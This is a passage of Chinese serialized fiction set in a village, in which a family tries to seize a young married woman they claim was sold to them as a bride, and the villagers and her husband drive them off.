“不给?”刘知青看了眼江窈,语气冷的都要啐出冰来,“她一个小学都没读完的,还想去教书,她要不给,她还想当那个老師吗。” 他这话顯然是在威胁,但也没人反驳他。 毕竟能刘知青考虑的是所有知青们,要钱来能帮助他们的生活好很多。 而且他愿意做这个出头鸟,他们也犯不着打头阵。 江窈緊紧咬着唇,没发表任何意见。张朝阳看了她一眼,淡淡道:“江窈同志,咱们可是一家人,你要分得清远近。人是你带着过来蹭课听考上的,该怎么做,你老看着吧。” 他话说完,又看了一眼在场所有知青一眼,那意味很明顯。 江窈要给大家一个交代,还要让人满意才行。 一时间,大家的心情都很复杂。 江窈更甚,她简直后槽牙都要咬碎了,怎么偏偏是柳盼娣考上了,知青点的人也是强人所難。 让她去问柳盼娣要钱,真敢想啊。 她在心里喊系統,喊了好几声,系統才弱弱的应了一声,并道:“我太虚弱了,现在什么也为你做不了,要暂时进入休眠状态了。” 系统不是非要进入休眠状态,但她已经不想再跟江窈沟通了,什么都不听她的,还经常擅作主张。但是两个人已经绑定了,她又不能更换。 “你说什么!”江窈一听就急了,忍不住在心里拔高声音:“你不是来帮我吗,你要休眠了我怎么辦,现在他们还让我去问柳盼娣要钱,你快给想办法。” 她快被逼死了已经,明明是系统让她接近柳盼娣,依旧能帮助她,现在柳盼娣考上了,她没考上,还被逼着去问柳盼娣要钱。 就柳盼娣她娘王大花,她敢去要吗,那柳盼娣估计自己都拿不到那工资。 她又在心里喊了好几遍系统,系统才又搭理她,只告诉了她三个字。 她一听,瞬间眼睛就亮了- 余家先是听到了游雾州名字,又听到了柳盼娣的名字。 先是高兴,又是震惊还有些酸。 她们的专注力都放在了,柳盼娣竟然还真考上了! 余阿娘心里直泛酸,忍不住道:“咋还真让她考上了,这运气也忒好了。这可让王大花又要坐村口不走了。” 当年王大花生完柳光宗和柳耀祖后,刚出月子就急吼吼地坐到村口那,逢人就说她一口气生了倆男娃娃。 这又一个小学都没上完的女儿,还让她考上了老師,我勒个乖乖啊,那不好神奇坏了。 王桂香也有不带劲,也不是因为柳盼娣考上了,而是因为王大花,她倆还是堂姐妹,当年之所以王大花生了俩儿子,那么神气,就是因为为了压她一头。 这要是再回娘家,她都有些不想回去了。 虎丫也苦着个臉,“明天要去外婆家,那柳光宗和柳耀祖指定要在我跟顯摆了,我不想看他俩神气。” 她看着王桂香说:“娘我不想去了,讨厌死了。” 余庆也跟着点头,“我也不想去娘,咱们要不然不回去行不。” 王桂香也想不回,可怎么推的了啊,这要没考上她们不回就算了,可这考上了,怎么推的了。 饭桌上没有关于游雾州考上的喜悦,都是关于柳盼娣考上的難受。 而且重要的都不是因为柳盼娣,她们也都为柳盼娣考上而感到欣慰,但是她那娘和弟弟真是没话说。 余银放下筷子,手肘撑在桌子上,托着臉说:“哎呀,好了,游雾州考上这多值得高兴的事啊。咱们别因为其他的坏了心情,而且他考上了,你们都还没夸夸他呢,尽顾着操心柳盼娣去了。” 她这话说完,一手在桌子上托着臉,一手搂过旁边坐着的游雾州,一脸自豪的说:“放着这么个好显摆的,你们在那操心柳盼娣,游雾州都没怎么看书就考上了,前天人都在家里看书了就他还在地里头幹活。我和阿舅劝他回去看书,结果他还给咱把饭做了,什么事也不耽误,这还不值得拿出显摆啊。” 余阿娘听她这话,也没反驳,脸上堆起笑,褶子挤在一起对着游雾州说:“哎呦,咱们小游那是个有能耐的,啥都会幹,这才是厲害啊,我不用显摆,人都知道我这女婿厲害。” 游雾州有些不好意思,也有些被说的不自在。 虎丫弯着眼说:“姐夫好厲害,这下他们显摆的时候,我有比他们姐姐还厉害的姐夫。” 余银微抬下巴,看着虎丫,微啧一声,“那你,也不看看你姐夫是谁。” “娘,咱们明天把姐夫带着一起去吧。”余庆半张身子伏在桌子上,一脸崇拜的看着游雾州。 经他姐余银一说,他觉得他姐夫真厉害,干活也有劲,做饭也好吃,还给他们买好吃的,还能不学习就考上老师。 真的好厉害啊。 余庆用还在桌子外的腿碰了碰王桂香,拖着嗓子喊娘。 虎丫也觉得这个主意好,碗筷一放,往王桂香怀里一钻,哼哼唧唧地喊她。 王桂香知道他俩啥意思,想也没想就拒绝,“不成,去不了。” “余庆,虎丫做好。”余阿娘也在一旁说:“那是你们外婆家,他俩不好过去的。” “为什么不能去啊?”余庆问的有些天真:“姐的外婆,不也是我们的外婆,咋不能去啊,过年的时候不是还去了。” 提到余银的外婆,王桂香,余阿娘和余银同时变了脸色。 游雾州只当是因为余银外婆去世,一时间也没往深处去想。 “反正就是不能去。”余银知道这俩死缠烂打的性子,找了个理由说:“姐夫明天有事,不能跟你们一起去,等以后再说吧。” “那以后是什么时候啊?”余庆问她。 余银看了他一眼,说道:“就是不忙的时候。” 余庆还没张口,余阿娘拿着筷子敲了敲他的碗,及时阻止他要继续问的话,“赶紧吃饭,你不吃饭长不高,等你去你外婆呢,还是没你那几个堂哥高。” “你赶紧吃,吃得多长得比他们都高,到时候那几个也不敢欺负你了。”余银在一旁接着说道。 她们岔着话题,就把一些个不想提的话题岔开了。 也把属于游雾州考上老师的喜悦,给带出来了。 余银倒不觉得柳盼娣那事有什么显摆,因为那不是真正的柳盼娣,而游雾州才是真正的厉害。 反正对于她这种学习不好的,见到游雾州这种啥也不看还能考上的,打心里钦佩。 这一天啊,村里那叫一个热闹,尤其是晚上吃 过饭后,天也热,大家就在村口那乘会凉。 平时有啥事也才人多,没啥事的话,也就离那近的人在乘凉。 村口聚了不少人,都是唏嘘柳盼娣考上老师的事,给王大花心里那叫一个得意啊。 她喜不喜欢柳盼娣那是一回事,但柳盼娣毕竟是她生的,那长脸也是给她长的。 余阿娘自然不会让王大花这么得意,带着余银和王桂香,还有两个小的,也去了村口那。 男人们不怎么来凑腔,坐那的都是女人老人和孩子,游雾州也不大好意思过去,就在屋里待着。 王大花被人奉承一句,“柳盼娣行啊,小学没毕业就考上了,真厉害啊。” 余阿娘就要拔高声音来一句,装作不在意的说:“哎呀,俺家小游哪看过书,谁知道咋就考上了。” “游知青聪明,他就该考上的。” 余阿娘摆着手说:“谁知道啊,你说他上工都没偷过懒,那两天下雨,还被知青点的人叫去给讲题呢。” 她碰了碰余银,“小鱼儿,小游在屋里看过书没啊,会不会咱们小游是干完活了才去看啊。” 余银笑眯眯地,声音清亮,“看啥书啊,我都没见过他翻过几次书。” “你男人就个聪明还能干的,这附近都找不出你男人这样的。” “可不是嘛,长得也还一表人才,乖乖的,余银有福气啊。” 王大花的得意,全被余阿娘给挑走了,好几次插嘴提到柳盼娣,又被余阿娘那边给抢走。 她那叫一个愤恨。 直到散场的时候,扯东扯西,会扯到游雾州身上几句,都没有怎么说过柳盼娣了。 “啧啧,这余银找这小游可真行,就这一个好的,让她给嫁过去了。” “你以为咋就让余银嫁了,就余银那长相,嫁到城里都不为过,还不是躲着人的,才赶紧就嫁了,你忘记那家人了。” “你说那家人啊,确实也是,要不然怎么就才那几天,直接就结婚了。” 王大花为了面子,硬生生憋到最后才走。她回去路上,听着那俩人在那说,也没太避着人。 她怎么就差点忘记那家人了,也正好她明天要回娘家。 看她余阿娘还怎么得意,他那个好女婿去。 第56章 第56章余银有婚约? 王家村離楊柳村有些距離,中间隔了三四个村子。次日一早,王桂香帶着虎丫和余庆回了娘家去,一同去的还有余阿舅。 王大花也帶着她那一家,一同回去了王家村。 王大花不在,戏也唱不下去,余阿娘和余银也就没去村口了。 但村口那坐的依旧有人,是几个大肚子的,都在那正做些针线活。一上午就那样闲唠着嗑,到了饭点她们再回去做饭。 这正到饭点了,村口这来了几个人,还推着推车,推车上似乎还躺着个人。 大中午的天又热,外头基本上都没什么人,可来的人又不是一两个,村里的狗也汪汪叫。 不知在经过谁家时,两个一老一少的婦人在院里往外探了一眼,老的那个頓时打了个激灵。 她嘴里年代着:“乖乖的,这家人咋来了,坏了坏了啊。” 年轻一点的还大着肚子,问她婆婆,“娘,那是谁家親戚啊,咋回事。” 这两个人正是李小桃和她婆婆丁芳芳,丁芳芳在原地剁了两下脚,没回答李小桃的问題,扯着嗓子喊,“大福,大福。” 楊大福听见他娘叫,从屋里应了一声,“幹啥啊娘。” “快出来,坏事了,快点。”丁芳芳急的不行。 楊大福也不知道发生啥事了,他才剛躺床上,有些不情愿起来,站在屋门口看着院里他娘,说道:“坏啥事了,坏事了。” 丁芳芳有些着急,跟他说:“你跑得快,快去余队长家,跟他们说那家人来了,我赶紧去村长家喊人去。” 楊大福一听,也瞬间惊醒了,“真是那家人来了,怎么突然就来了。” 李小桃在一旁听不懂他们说啥,插了句嘴,“谁啊到底。” 不过两个人都没时间在意他那句话,杨大福连鞋子都没穿好,边往外走边拔着鞋。 丁芳芳见杨大福走,她跟着出去了,就留院里的李小桃一脸雾水。 到底谁家啊,喊村长,还要去余银家也说一声……- 这边,余银们也剛吃完饭,她让余阿娘先去睡,她去把碗洗了再熬点绿豆汤。 遊雾州在她洗碗的时候,已经把绿豆倒另一个锅里开始煮了,他们三个人,那个小点的锅够用了。 余银洗完碗,又跑去菜地里摘了几个黄瓜和番茄,把那東西放倒井水里,井水凉,番茄和黄瓜放到他们起床后,吃着也凉凉的挺解暑。 因为天很热,他们也开始晚上不烧洗澡水了,柴也要存着点冬天用,家里有两个很大的盆,上午放上水,晒一天下来,晚上水温就是正好的。 余银喊遊雾州一起把水换个位置,灶火地下添的也是硬柴,放进去让它自然烧灭就行了,也不用再添柴。 水剛移好位置,余银扶着腰站好,还没喘上两口气,一个男人气喘吁吁地跑进他们院里。 杨大福喉咙跑的幹痛,咽了两下唾沫,直接就道:“那家人来了,余银你赶紧帶着你娘躲躲。” 余银抚在腰上的手一頓,对上他的视线,不禁问:“人到哪了?” 杨大福摇头,“我从家过来的时候,他们剛经过我家,这会到哪我也不知道,我避着他们来的。” 太久没听到那家人,他们竟然都忘了。 余银赶紧去屋里喊她娘出来,外头遊雾州问杨大福,“大福哥,是哪家人来了啊。” 杨大福一听他这么问,就知到遊雾州恐怕不晓得那家人的情况,人家都没说,他怎好多嘴,顿了几秒,就道:“你回头问余阿娘吧,具体我也不清楚。” 游雾州不用猜就知道他在说谎,垂下眼眸,也没再问。 那家人到底跟余家有什么关系,怎么他们都这么慌慌张张的,他不知怎么联想到,余庆让他们也一起回王家村时,当时的气氛是有些不对的。 还没再细想,就见余银搀着神色不对的余阿娘,正从屋里往外走出来。 余阿娘人还没睡着,就听到这个消息,顿时两眼一黑,恨不得晕过去。 游雾州上前,就见余银紧抿着唇,脸色也很难看。 他还没开口,杨大福过来说:“余婶子,我娘去喊村长他们了,要不要我这会去王家村喊余队长回来。” 余阿娘叹了口气,“王家村远啊,等你跑去他们再回来,都到几点去了,不费那个事了。” 余银捏了捏她娘的胳膊,问她:“娘,能站稳不。” 余阿娘没懂,点了下头。 余银拉着她娘往堂屋坐下,游雾州和杨大福不明所以,也跟着进了堂屋。 她深吸了一口气,说道:“先坐这等一下。” 余阿娘不禁问她:“你幹啥去。” 余银轻声道:“我去拿个东西。” 说完,她转身往厨房里去了一趟,然后就朝着大门外走,游雾州在她往门口走的时候,看到了一抹稍纵即逝的银光。 他脑中闪过了一丝不好的念头,就见余银把大门关上了。 关门干什么? 余阿娘和杨大福也看到余银关门,只当是以为她是准备把门关上,当作没人。 杨大福道:“关门也行,就当屋里没人,他们找不到人也就走了。” 余阿娘看着关上的们,苦笑道:“但愿如此吧。” 游雾州不知道他们什么意思,但听得出来是在躲人,他看着门口那空的门闩,显然刚才被余银拿走锁了大门。 刚才那一抹银光是锁和门闩的缘故吗? 余银拿起地上的東西,她怕她娘看到了,刚一直捂着,出来后先扔在地上,才锁的门。 她锁好门,就见外头一行六七个人,正朝着他们这过来。 见到余银站在 门口那,手里正拿着把刀,在墙上打磨着,那刀在太阳下闪着银晃晃的亮光。 “余银啊,这是干嘛呀。”领头的一个女人笑着道:“见着我怎么也不打声招呼啊。” 余银单手拿着刀,在墙上来回用刀刃那刮着,她挑眉道:“你算我哪门子親戚,跟你有个屁好打招呼的啊。” “呦,我确实不算你哪门子亲戚。”那女人笑往侧退了一步,周围人也侧开站着离余银几步之遥,露出里面的推车。 她指着推车上的人,“你是我儿媳婦,他是我儿子,咱们俩自然不算亲戚——是婆媳。” “你扯个蛋的关系。”余银朝地上呸了一口唾沫,“你说我是啥就是啥,你做白日梦呢,赵大脚。” “你那儿子半死不活,找不来媳婦,就想赖我头上,你做你娘的美梦呢,他那黄土都埋在脖子那了,你是闲他活的太久了,来我家这撒泼,把他也帶上了。” 一听到余银说她儿子土都埋脖子那,显然是咒她儿子快死了,赵大脚就脸色难看,她身边的那几个人脸也沉了下来。 另一个跟赵大脚年纪差不多的,站出来说,捋着袖子说:“余丫头,哪有你这未过门的儿媳这样跟婆婆说话的,你娘是没教你吗,真是没一点教养,还敢咒你男人,真是上梁不正下梁歪的,也就我们強壯不嫌弃你,就你这样的,要是进了我家门,老娘天天教教你规矩。” “你他娘的算个什么東西。”余银手里举着刀晃了晃,一脸不屑地说:“别把我跟你们扯上关系,说的好像是我跟那半截土有什么私的,你们也是真嫌他活够岁数了,竟然还敢来我家啊。” “这有啥不敢的。”赵大脚往余银跟凑去,但被余银手里的刀又给逼得往后退,她打了个颤,笑道:“你哥也不在,你舅也在王家村喝多了,你说我们敢不敢?” “你还敢偷偷嫁人,我们还没找你算账呢,不过听说你那男人是个成分有问題的,余银,乖乖跟我们回去吧,就当你结婚这事过去了,以后进了家门,要好好伺候我们強壯,孝敬长辈。” “这是仗着我家没人啊?”余银眼神顿了顿,她勾着唇冷笑道,她又晃了晃手里的刀:“这刀可不长眼啊,赵大脚,你那半截土,你说他能不能受得住。” 赵大脚:“余银,老娘今是给你好脸太多了是吧,敢这么说话了。” 她左右看了看,说:“今来软的看来是不行了,咱们给她绑回去,看她怎么嚣张。” 她特意来了四个壯汉过来,就不信今天弄不走余银,敢偷偷结婚就算了,还敢咒她儿子,等绑回家,看怎么收拾她。 “对,把她刀给我夺了,老娘看她还怎么嚣张。”赵大脚的妹妹赵二妹大声喊道。 几个人就要去夺余银手里的刀,准备去夺余银的刀,却突然听到一声叽里哇啦的叫声。 她们回头看过去,就见推车上多了人,还正手放在上面躺着的那人脖子上,应改是用了些力气,那躺着的那人在挣扎着叫。 “強壯啊,我的儿。”赵大脚惊道。 游雾州的手臂微微用力,小臂外侧爆起的青筋,在阳光下凸起的特别明显。 他掐着那个叫強壮的人脖子,眼睛透过赵大脚他们,看向余银。 “谁敢过来,我掐死他。” 赵大脚他们瞬间僵住脚步,如果说余银拿着刀,他们可以夺回来,那最多就是吓唬。 可这男的,手直接在他儿子脖子上掐着,而且他儿子看着就很痛苦,这是真威胁到了。 赵大脚心疼儿子,忙说:“你这是做啥,我跟你无缘无仇的,你快赶紧松开我儿子。” 游雾州没搭理她,看着某处,直接道:“过来。” 赵大脚脸色讪讪的朝着游雾州走过去。 游雾州面无表情地冷声道:“退回去,没说你。” 赵大脚疑惑,其他几人也疑惑,然后就看到余银走到了游雾州身边。 早在那会余银就看到了游雾州过来,她故意激怒赵大脚她们,然后忘记推车上的人存在,她不知道游雾州能不能猜到。 但她就是觉得游雾州一定会按照她想的那样去做,果然,在他们朝余银过来的时候,游雾州果然明白了她的意思。 余银朝游雾州眨眨眼,小声道:“你前面去推着车,我拿着刀站这。” 游雾州看着她手里的刀,就胆战心惊,他就说那股不安是哪里来的,他另一只空着的手拽过余银,往他身后去。 赵大脚们也不傻,当即看出了两个人关系不对劲,她道:“呦,这怕是那个有成分问题的知青吧,你要是识相,就赶紧松开我儿子,跑的远一点,免得我往上一举报,你跑都来不及了。” 游雾州怕她这威胁吗?他手上更使劲了,强壮已经有些微微翻白眼了。 “你觉得我怕吗?”游雾州脸色平静道。 看他的动作显然是不怕,还带着点挑衅。 余银也恨不得掐死这半截土,但不能是游雾州掐死的,她踮起脚,小声的道:“别真把人掐死,吓唬吓唬得了。” 游雾州的手,在她的手腕上捏了捏,示意他知道分寸。 赵大脚那边都快被吓晕过去了,这可是她的命啊。 她妹子下意识地上前拖住赵大脚,忙对游雾州说:“后生啊,松开,先松开,咱们有话好好说啊。” 游雾州松开了手,那强壮吓得哭的不行,嘴里呜哇呜哇话都说不清,只能听到他在叫娘。 那一声声地,叫的赵大脚心都在揪着。 旁边的几个男人也恼的不行,那是他们的侄儿,可又没有办法。 “他娘的,你一个大男人去掐一个动都动不了孩子,算个什么男人。”赵二妹的男人恶声恶气的说。 “就是,你一个大男人,竟然这么对我们强壮。” “他娘的。这小子心忒黑了,明知道咱壮壮体弱,还敢掐他脖子威胁咱几个。” “他成分有问题,估计也不敢杀人,咱们几个合伙上,就不行摁不倒这俩人。” 几个人搓着手就要上前来,嘴上还说着要收拾他俩的话。 余银要拿着刀往前去,看到村长带着人来,又站那了。 “干啥呢,干啥呢。挑着余队长不在。特意过来欺负人的这事啊,当我们村的人都不在了是不是。”扬小暑冲到最前面,站在赵大脚几人和余银们中间。 游雾州一看来了这么多人,彻底松开了强壮,但手还虚虚地搭在他脖子上。 那强壮呜哇呜哇的烦人死了,余银撞了撞游雾州的胳膊,用他躺在推车上的被子,捻起一角来,要往他嘴里塞。 游雾州没让他塞。自己拿着那被子塞他嘴里去了。 烦人声没有了。赵大脚被挡着也看不着,以为儿子没气了,当即哭喊道:“杀人了,杀人了,还我儿命来。” “什么?强壮没气了?” “我的侄儿啊,你个杀千刀的,老娘和你拼了。” “我大哥就留这一个香火,你们欺人太甚了!” 一时间,杨柳村的人都懵了,赵大脚几个人亂了套,冲过来就要拼命。 幸亏村长带来的全是壮丁壮汉,挡在前面,村长忙走过来看了一眼,然后怒吼道:“没死呢,还有气,嚷嚷啥啊嚷嚷。” 赵大脚他们似乎停留下来,村长还想再说什么,一抹银光闪过他的眼睛,当时额头就又沁出一层汗。 村长压着声音:“赶紧给我扔了,像什么话啊。” 余银看了眼手里的刀。看了一眼村长,随后摇摇头,“不扔。” 村长瞪了她一眼,没说话,往赵大脚跟前走去,扬小暑带着那群壮丁,给他然后出一条道,接着就有把余银和游雾州挡得严严实实。 村 长看着赵大脚几人,想到余银手里拿着的刀,怒上心头,“你们是不是非得要鬧到公安局,去蹲几天,才能消停啊。” “啥叫我们鬧?”赵二妹不服气的说:“说好了余银给我侄子当媳妇,这不声不响地就结婚了,这不是明摆着欺负我们,捍卫自己的权利我们怎么就闹了。” “你们还真敢说,我呸,不要脸的东西。”丁芳芳翻了个白眼,“人家余家什么时候答应过你们了,你们在这亂说。” “就是,人家余银好好的,又不欠你们赵家,凭啥要让余银给你们赵强壮当媳妇,真是白日做梦。” “还真敢想,就人余银那模样,老余家跟你们又扯不上什么关系,隔两年就来闹,真是不要脸。” 杨柳村虽然内部矛盾不少,但遇到外敌时,还是会统一战线,一致对外的。 而且这赵家一家,实在是太不要脸的存在了。 他们跟余家还真没太亲近的关系,那赵大脚是,余春花死的那男人大爷姑家表妹,生了个儿子出来是个嘴歪眼斜的,还不会说话,去医院看,说活也活不长。 赵大脚就跟她男人想再要几个,可生出来的都是女儿就算了,没几年男人逮蛇的时候,被咬了来不及救,人也死了。 就这一个香火,怎么也要传承下去,他们原想把女儿给还给其他人家找个童养媳,但都嫌弃赵强壮那样子,估计连人道都不行,就没人敢换。 后来是余阿娘死的那男人的弟弟,他赌钱,就把余银以口头的名义卖给了赵大脚家,拿了钱就去赌。 但他那时候只知道余阿娘生的是闺女,不知道刚生完没几天。就被他老子娘赶走了。 当时余阿娘还在赵家村住着。刚生完孩子根本走不了,只能在柴火堆下住着,赵大脚一看余银还是个娃娃,虽有不满,但也没办法。余阿娘知道余银被卖给赵大脚后,气的直接晕了过去,也幸好那时候赵大脚嫌余银刚生下来,没往家里带。他们在那柴火堆下住了十几天,等余阿娘身体有些力气,当晚带着余金和余青云还有余银就离开赵家村。 那时候正乱着,也不敢乱跑,跑到半夜,觉得离那有些距离,就在那待着了,他们也没钱,当时征兵能有钱,余青云二话不说就去了把钱给了余阿娘,另一半给了村长,希望给他们一个容身之处。 她们就在杨柳村安定下来了,余阿娘给余金改了姓,也把余银的姓也跟着自己姓余。 时间一点一点的过着,赵大脚也想找余阿娘和余银她们,但太乱了也不敢出去打听着找,一直到余阿舅在部队往上升,然后受伤回到余家村,当了队长,她们才知道余阿娘和余银们在杨柳村。 在余银小的时候过来闹过一次,吵着闹着要把余银带回家,因着余阿舅没少给村长钱,还叫了点在镇上公安局的战友,才把他们送走。 后来隔两年赵大家独自过来,没事提两句余银卖给了赵家,但也不说带走,会从余家捞点东西回家。在余银长大后,她就来的少了,尤其是听说余金也去当兵了,那时候她来过一次,看到余金那装扮,那次之后就更不怎么来了。 这已经是隔了四五年,再一次过来。 余银她们都快要忘记这家人的存在了,因为一没字据二没证人,卖余银的那个连名义上都不算的男人,因为赌钱还不上,人也死了。 死无对证的事,赵大脚们一直抓着不放。 余家这些年没少被赵大脚从家里带走东西,简直越来越不要脸了。 余银想到以前的事情,拿着刀的手就气的发抖,她恨不得一刀砍死赵大脚她们。 游雾州双手握上她的手腕,轻轻摩挲着安抚着她。 他低声道:“我知道她们乱说的,不值得生气。” 他没有去拿走余银手里的刀,因为这时候她是有理智的,但只有手里拿着那刀,她才能安心些。 余银紧抿着唇,眼睛气得发红,嘴唇哆嗦着说:“他们这样,怎么能送公安局去,妇联管不管?” “公安局不一定能关着,妇联可能会插手卖买妇女。”游雾州说:“阿舅认识公安局的人,可以送点东西去,把人关几天涨涨记性。” 他到杨柳村,就是通过公安局的那人,才找上了余阿舅,来到这,他外公对那人有功,他去说,应该是可以的。 但也要送些东西去才成。 余银一听很想点头,但又想到当初弄游雾州成分问题,也是找的那人,结果出事了。 她摇摇头,叹了口气,“算了,赶走就是了,不去找公安局那人。” “就这样吧,实在不行就找妇联吧。” 第57章 第57章只觉得活该 “我去前面一下。”游霧州把余银拉到一边,离那嫌恶的推车远一些,找了个柴火堆挡着的地方,对她道,“你别往跟靠,就在这待着啊。” 余银知道他脑子好使,点头讓他过去了。 游霧州悄悄移到村长身后,讓扬小暑挡着他,极低的声音让村长能听到。 村长问赵大脚她们,“你们这次来,到底是要干啥,余银已经結婚了,跟你们家也是没有任何关系。” “結婚又咋啦,俺们不管。”赵大脚说:“她那是偷偷結婚,余银就是我儿媳婦,这次过来就是帶走她的。” 村长张口結舌,“你——你不知道结婚和嫁人啥意思是咋,她嫁给了人家小游,跟你们赵家一点关系都没有。” 说及此,他差点都被绕进去了,接着道:“别说余银有没有结婚,就算没结婚,她也没和你们赵家结亲,也跟你们赵家没有任何关系。赵大脚,你今要非帶走余银,咱们就去公安局理论理论去,看看警察怎么说。” 赵大脚被村长说的一愣,她反應了一下,直接搖头说:“我可不去公安局理论,谁不知道余青云在公安局有人,那肯定不会向着我了,我又不傻。” “那你也不能强行帶走人余银,你这叫拐賣婦女,抓去要去吃枪子的,我告诉你。”村长眼见说不清,直接糊弄吓唬她。 “吃枪子?姐,他别是骗咱吧。”赵二妹拉了拉赵大脚,低头小声说。 赵大脚搖头,她也不知道真的假的。 但她心里认为應该是假的。 “你少蒙我,我可是给过钱的,余银就是我家的。”赵大脚梗着脖子说道:“什么拐賣婦女,吃什么枪子儿,我这是帶自己儿媳妇回家,算什么拐賣。” 等赵大脚说完,村长若有所思了两秒,他虎着脸,沉声道:“嘿,你不信这个邪是吧。你自己没文化不知道就算了,可别連累了你那几个弟兄,那进去一趟,不死也要脱层皮的。” 他说完,那赵大脚身边的几个男的,果然站不住了,脸上的表情开始变了。 游霧州低着头,不知道又说了些什么,就见村长接着道:“现在上头都说了,但凡抓到拐卖的,可都是直接进去,比那投机倒把还严重。你这几个弟兄虽是听你的,但也算你的帮手,也是按重的来。” 村长毕竟是村长,说话的气势上看着也不像是唬人的,而且他们也不敢赌,万一真不是糊弄,他们怎么辦。这下那几个男的彻底站不住了。 “弟妹啊,我就是搭把手推侄子过来,可没做啥其他的,咱毕竟是一家人啊。” “姐,我们就是听你说带儿媳妇回家,可没干拐卖的事啊,还没动手呢。” “嫂子,咱家里啥情况你也知道,你可要说清楚,我们就是帮忙推一下侄子,别的啥也不知道。” “姐,我也啥都不知道啊,这我家里还有事,我要不先回去,走吧二妹儿,咱先回家去。” 赵大脚被他们的态度转换,还没反应过来,她妹妹赵二妹也不敢不听她男人的话,看了眼她男人阴沉的脸色,她小声道:“那个姐,真有事,我回头再去找你吧。” 这一要走,楊柳村的人瞬间给他们让道,其他几个人也要跟着走。 赵大脚上前拉她弟弟和大伯哥,“强壮咋推回去啊,先别走,我儿媳还没带着回去呢。” 那两个男人,将胳膊从赵大脚手里分别抽出来,话都没说就走了,就剩赵大脚一个人站在那。 明明来的时候,拿了她的好处,都跟着过来,信誓旦旦的说一定帮她把余银带回去,这又话都不说清楚就走了。 赵大脚孤立无援,气的大吼他们:“说走就走了,你们真是丧良心,就这样我们孤儿寡母留这来。” 她跑上前拉住要走的赵二妹,大声质问,“二妹,姐待你不薄啊,你可就是这个一个侄子,你忍心看他連个媳妇都没有,孤零零的走吗。” 赵二妹吓一跳,她男人也停着脚步看着她们,没说话,只是捏着赵二妹的隔壁逐渐用力。 赵二妹有些吃痛,知道这是自家男人在警告自己,她不敢看她姐,语气有些勉强,“姐,真是家里有事,你也听俺男人说了,下次再说啊。” 赵大脚冷哼一声,重重推了赵二妹一把,“没下次了,我要没儿媳妇了,就把你闺女给我当儿媳妇。” “你们不是说好的帮我把儿媳带回去,今带不回去,就把你们女儿给我当儿媳妇儿。” 赵二妹惊吼:“姐,你瘋了,那可是你亲外甥女啊。” “没瘋,你家三丫头正好十八,长得也好看。”赵大脚继续道:“正好他们还是表兄妹,亲上加亲,你是我亲妹妹吗,正好我也不用要结过婚的余银了,三丫头还是黄花大闺女呢。” 赵二妹看着她姐,簡直不可置信,她家三丫头,她姐还真敢想啊。 赵二妹的男人不是个善茬,听到自己赵大脚主意打到自己闺女头上,怒瞪着她说:“大姐,你看看你儿子有没有那个命,敢来我家。” 赵大脚越想越觉得三丫头好,她咧着嘴笑,看起来有些莫名的阴森,“我就要你家三丫头,你能怎么着啊。” 赵二妹的男人上去给她来了一脚,“疯女人。”说完,带着赵二妹赶紧走了。 楊柳村的人也有些唏嘘,自己妹妹的女儿都想着要当自己儿媳,看来真是疯了这个赵大脚。 余银看着不覺得可怜,只覺得活该,事没在赵二妹身上,她就不觉得难受,到了自己闺女,就知道难受了。 就剩个赵大脚了,也没什么攻击力,热闹也看完了,人们扯着闲话也就准备慢慢散了。 “余丫头这回可不用怕了,不盯着你了。” “这赵大脚是不是脑子有点问题啊,怎么疯疯癫癫的瞧着那样。” “你才知道啊,听说她脑子以前就不正常,再加上作孽太多了,要不然生那儿子咋是个半截土的。” 赵大脚就在那地上怔怔地坐着,人也走的差不多了。村长拉着游霧州在一边不知道说些什么,余银正在开门,扬小暑走到她身边,说:“这次过后,估计就不会再闹了。” 余银开了锁,把刀藏在身后,没回答这个问题,给他道了声谢,“要不是你们在啊,难说今天。” 扬小暑笑了笑,“咱们一个村的,客气啥。也不是都亏了我们,你男人脑子转得也快,说那唬人的话一套一套的。” 门刚被余银打开,余阿娘和杨大福就在这站着,见着余银,余阿娘忙道:“没事吧,” 余银摇头,“没事,人也走了,村长带着人过来了。” 余阿娘赶紧对扬小暑说,“你爷呢,我们好好谢谢他,青云不下,还有你们,村里帮了我们大忙啊。” 扬小暑摸了摸头,说:“婶子,咱都一个村子的,这么客气做啥。” 杨大福也跟着道:“就是,婶子,咱们都一个村子的。” 余阿娘笑着点头,“晓得晓得,我和青云他们都记着呢。” 他们说归说,余家还是要还回去的,不然下一次有什么事,就不好请人来了。 余银不动声色的悄悄往厨房移,余阿娘回头看了她一眼,没说话。 余阿娘和杨大福,扬小暑出去,见着外头赵大脚和赵强壮还在,“咋,人还没走呢。” 扬小暑就把刚才的事说了一遍,杨大福和余阿娘听了也觉得震惊。 余阿娘摇着头说:“造孽啊,造孽啊。” 她看都懒得再看第二眼,往村长和游雾州跟走过去- 等门口彻底清净,余阿娘叫余银和游雾州进屋去。 三人在堂屋里坐下,余阿娘绷着脸,“余银,你今天拿的什么出去,我问你。” 余银以为没被发现,而且就算被发现了她也不要承认,余阿娘又没有证据,她索性装傻道:“没啥啊。” 游雾州抬眸看了余银一眼,不作声。 余阿娘抓起脚边的小椅子,朝着地上重重放下去,“你拿着刀把门锁了出去,你想干啥,把他们都砍死,还是你想拿着刀割你自己脖子啊。” 余银心里咯噔一声,她娘把自己的两种想法都猜到了,她可不敢回这个问题,只好沉默。 余阿娘簡直要恼死了,“你胆子怎么就这么大,我问问你,你以为那赵大脚不敢因为你拿着下威胁,就不把你带回去?你以为她带那几个弟兄,没辦法不把你刀夺走,带不走你?” “余银啊余银,你叫我说你什么好,你胆子怎么就这么大,连商量都不商量,你就一点都不怕出事了怎么办?你叫我和你舅怎么办,你叫小游怎么办?” 游雾州和余银继续沉默。 余阿娘气的想揍她,但想想又作罢,她对游雾州道:“这事是我们瞒着你了,是我们余家不对,但是余银没和她家定过亲。” 她一五一十地把事情告诉游雾州和余银。 余阿娘也不是自己嫁到赵家的,而是被她舅舅们卖给赵家的,而她舅家和赵家也是一家的。余银被卖给赵强壮的事,可能是是真的,但也是被那人给骗了,因为那人好赌,连个字据协议也没立,而且余阿娘才是余银的娘,所以不算是被卖了。 而赵家村就在去王家村的必经之路,所以昨天才不让和王桂香们一起回去。 游雾州听完,微蹙了下眉,就很快松开了,他道:“事情都过去了。” 然后又问:“那为什么不去找卖给她的那家人去。” 余阿娘解释:“冤有头债有主,人都死了,那男人留的又都是男娃。” 余银简直恶心死赵大脚和她儿子,没忍住说:“那半截土就吊着口气,怎么活了这么久,老天真是不长眼,真该一道雷,劈死这母子俩。” 余阿娘瞪她一眼,“那你今天也不该拿刀,独自冲出去,那多危险啊余银。” 余银沉默不语。 